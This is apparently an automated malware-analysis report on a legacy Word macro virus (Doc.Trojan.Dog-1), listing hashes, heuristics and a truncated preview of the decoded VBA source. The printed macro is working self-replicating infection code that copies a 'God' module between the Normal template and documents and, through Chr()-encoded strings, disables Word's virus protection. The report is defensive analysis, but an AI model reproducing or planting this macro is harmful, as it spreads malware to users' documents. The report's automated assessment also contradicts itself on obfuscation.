Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c706add10efd96b9…

MALICIOUS

Office (OLE)

56.5 KB Created: 2000-04-04 10:15:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: fdb51666a68d03adfcaff4dd7784930d SHA-1: 0981b2c14f955367ba0e9dae84661ddb49607d4d SHA-256: c706add10efd96b9bd142b1e3acdd76c3af894029ff3f3157315f6906d3a141f
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic and VBA macros, with a critical heuristic firing for ClamAV detection on an extracted artifact (Doc.Trojan.Dog-1). The AutoOpen macro attempts to export a component named 'God' to 'C:\Program~1\Progra~1\God32.sys', suggesting an attempt to establish persistence or download a second-stage payload. The obfuscated nature of the script and the lack of clear network indicators prevent higher confidence.

Heuristics 3

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21872 bytes
SHA-256: 655b258ebf5f042d98970e7c092bc94e7af712d9bfa56227736abeccfbbb47fe
Detection
ClamAV: Doc.Trojan.Dog-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Módulo1"
Sub AutoOpen()
On Error Resume Next
Set NT = NormalTemplate.VBProject.VBComponents
Set AD = ActiveDocument.VBProject.VBComponents
Path_ = Chr(67) + Chr(58) + Chr(92) + Chr(80) + Chr(114) + Chr(111) + Chr(103) + Chr(114) + Chr(97) + Chr(126) + Chr(49) + Chr(92) + Chr(71) + Chr(111) + Chr(100) + Chr(51) + Chr(50) + Chr(46) + Chr(115) + Chr(121) + Chr(115)
For i = 1 To NT.Count
    If NT(i).Name = Chr(71) + Chr(111) + Chr(100) Then
    NT(i).export Path_
    NorInst = True
    End If
Next i
For i = 1 To AD.Count
    If AD(i).Name = Chr(71) + Chr(111) + Chr(100) Then
    AD(i).export Path_
    DokInst = True
    End If
Next i
If NorInst = True And DokInst = False Then
    AD.Import Path_
End If
If NorInst = False And DokInst = True Then
    NT.Import Path_
End If
If NT(Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116)).CodeModule.Find(Chr(39) + Chr(71) + Chr(111) + Chr(100), 1, 1, 999, 999) = False Then
Dim God(77) As String
God(1) = Chr(83) + Chr(117) + Chr(98) + Chr(32) + Chr(65) + Chr(117) + Chr(116) + Chr(111) + Chr(79) + Chr(112) + Chr(101) + Chr(110)
God(2) = Chr(79) + Chr(110) + Chr(32) + Chr(101) + Chr(114) + Chr(114) + Chr(111) + Chr(114) + Chr(32) + Chr(114) + Chr(101) + Chr(115) + Chr(117) + Chr(109) + Chr(101) + Chr(32) + Chr(110) + Chr(101) + Chr(120) + Chr(116)
God(3) = Chr(87) + Chr(105) + Chr(116) + Chr(104) + Chr(32) + Chr(79) + Chr(112) + Chr(116) + Chr(105) + Chr(111) + Chr(110) + Chr(115)
God(4) = Chr(46) + Chr(65) + Chr(108) + Chr(108) + Chr(111) + Chr(119) + Chr(70) + Chr(97) + Chr(115) + Chr(116) + Chr(83) + Chr(97) + Chr(118) + Chr(101) + Chr(32) + Chr(61) + Chr(32) + Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101)
God(5) = Chr(46) + Chr(86) + Chr(105) + Chr(114) + Chr(117) + Chr(115) + Chr(80) + Chr(114) + Chr(111) + Chr(116) + Chr(101) + Chr(99) + Chr(116) + Chr(105) + Chr(111) + Chr(110) + Chr(32) + Chr(61) + Chr(32) + Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101)
God(6) = Chr(46) + Chr(83) + Chr(97) + Chr(118) + Chr(101) + Chr(78) + Chr(111) + Chr(114) + Chr(109) + Chr(97) + Chr(108) + Chr(80) + Chr(114) + Chr(111) + Chr(109) + Chr(112) + Chr(116) + Chr(32) + Chr(61) + Chr(32) + Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101)
God(7) = Chr(69) + Chr(110) + Chr(100) + Chr(32) + Chr(87) + Chr(105) + Chr(116) + Chr(104)
God(8) = Chr(87) + Chr(105) + Chr(116) + Chr(104) + Chr(32) + Chr(65) + Chr(112) + Chr(112) + Chr(108) + Chr(105) + Chr(99) + Chr(97) + Chr(116) + Chr(105) + Chr(111) + Chr(110)
God(9) = Chr(46) + Chr(67) + Chr(97) + Chr(112) + Chr(116) + Chr(105) + Chr(111) + Chr(110) + Chr(32) + Chr(61) + Chr(32) + Chr(34) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(32) + Chr(87) + Chr(246) + Chr(114) + Chr(100) + Chr(32) + Chr(45) + Chr(71) + Chr(111) + Chr(100) + Chr(34)
God(10) = Chr(46) + Chr(68) + Chr(105) + Chr(115) + Chr(112) + Chr(108) + Chr(97) + Chr(121) + Chr(65) + Chr(108) + Chr(101) + Chr(114) + Chr(116) + Chr(115) + Chr(32) + Chr(61) + Chr(32) + Chr(119) + Chr(100) + Chr(65) + Chr(108) + Chr(101) + Chr(114) + Chr(116) + Chr(115) + Chr(78) + Chr(111) + Chr(110) + Chr(101)
God(11) = Chr(46) + Chr(65) + Chr(115) + Chr(115) + Chr(105) + Chr(115) + Chr(116) + Chr(97) + Chr(110) + Chr(116) + Chr(46) + Chr(86) + Chr(105) + Chr(115) + Chr(105) + Chr(98) + Chr(108) + Chr(101) + Chr(32) + Chr(61) + Chr(32) + Chr(84) + Chr(114) + Chr(117) + Chr(101)
God(12) = Chr(46) + Chr(65) + Chr(115) + Chr(115) + Chr(105) + Chr(115) + Chr(116) + Chr(97) + Chr(110) + Chr(116) + Chr(46) + Chr(65) + Chr(110) + Chr(105) + Chr(109) + Chr(97) + Chr(116) + Chr(105) + Chr(111) + Chr(110) + Chr(32) + Chr(61) + Chr(32) + Chr(109) + Chr(115) + Chr(111) + Chr(65) + Chr
... (truncated)

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